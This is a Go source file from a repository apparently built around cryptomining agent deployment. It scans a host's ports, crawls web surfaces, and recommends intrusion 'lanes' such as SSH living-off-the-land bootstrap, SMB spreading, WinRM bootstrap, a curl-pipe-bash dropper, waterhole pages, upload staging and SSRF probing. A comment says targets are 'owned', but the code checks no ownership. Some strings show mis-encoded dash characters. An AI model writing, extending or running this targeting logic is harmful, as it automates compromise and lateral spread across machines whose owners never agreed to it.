Files
AetherForge/scripts/_batch1_scan_base.go
AetherForge 11c15cdcfb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add recon network batch 1: stack banners and smart port profiles.
Parse technology stack from crawl headers, grab SSH/HTTP/WinRM banners, merge smart port bundles with FleetPorts, and suggest deploy-kit lane plus SSM for EC2 metadata targets.
2026-06-07 12:04:04 -07:00

153 lines
7.5 KiB
Go
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package recon
import (
"fmt"
"net"
"strings"
"time"
)
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
func Scan(req ScanRequest) (*ScanReport, error) {
host, err := normalizeOwnedHost(req.Host)
if err != nil {
return nil, err
}
ports := ScanPorts(host)
report := &ScanReport{
Host: host,
ScannedAt: time.Now().UTC(),
Ports: ports,
}
if shouldCrawl(req, ports) {
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
if err == nil && crawl != nil {
report.Crawl = crawl
}
}
report.Recommendations = BuildRecommendations(ports, report.Crawl)
return report, nil
}
func normalizeOwnedHost(host string) (string, error) {
host = strings.TrimSpace(host)
if host == "" {
return "", fmt.Errorf("host required")
}
host = strings.TrimPrefix(host, "http://")
host = strings.TrimPrefix(host, "https://")
if i := strings.Index(host, "/"); i >= 0 {
host = host[:i]
}
if h, p, err := net.SplitHostPort(host); err == nil {
if strings.TrimSpace(h) == "" {
return "", fmt.Errorf("invalid host")
}
_ = p
host = h
}
if ip := net.ParseIP(host); ip != nil {
return ip.String(), nil
}
if len(host) > 253 || strings.Contains(host, " ") {
return "", fmt.Errorf("invalid host")
}
return strings.ToLower(host), nil
}
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
return true
}
for _, p := range ports {
switch p.Port {
case 80, 443, 8080, 8443:
if p.Open {
return true
}
}
}
return false
}
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
var recs []DeployRecommendation
open := map[int]bool{}
for _, p := range ports {
if p.Open {
open[p.Port] = true
}
}
if open[22] {
recs = append(recs, DeployRecommendation{
Lane: "linux_lotl",
Template: "linux-lotl",
Reason: "TCP 22 open ΓÇö SSH LOTL bootstrap",
Priority: 25,
})
}
if open[445] {
recs = append(recs, DeployRecommendation{
Lane: "spread_smb_unc",
Reason: "TCP 445 open ΓÇö SMB UNC spread",
Priority: 50,
})
}
if open[5985] || open[5986] {
recs = append(recs, DeployRecommendation{
Lane: "winrm",
Template: "winrm",
Reason: "TCP 5985/5986 open ΓÇö WinRM bootstrap",
Priority: 30,
})
}
if open[80] || open[443] || open[8080] || open[8443] {
recs = append(recs, DeployRecommendation{
Lane: "bits_curl",
Reason: "HTTP surface open ΓÇö dropper curl|bash one-liner",
Priority: 20,
})
recs = append(recs, DeployRecommendation{
Template: "public_waterhole",
Reason: "HTTP surface open ΓÇö copy /spread/ public waterhole landing",
Priority: 15,
})
}
if crawl != nil {
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
recs = append(recs, DeployRecommendation{
Lane: "stage_fetch",
Reason: "Multipart or file-upload form ΓÇö stage_fetch manifest staging",
Priority: 35,
})
}
if crawl.SSRFScore >= 30 {
recs = append(recs, DeployRecommendation{
Template: "ssrf_probe",
Reason: fmt.Sprintf("SSRF candidate score %d ΓÇö probe URL/webhook fields", crawl.SSRFScore),
Priority: 45,
})
}
}
return dedupeRecommendations(recs)
}
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
seen := map[string]bool{}
var out []DeployRecommendation
for _, r := range in {
key := r.Lane + "|" + r.Template
if seen[key] {
continue
}
seen[key] = true
out = append(out, r)
}
return out
}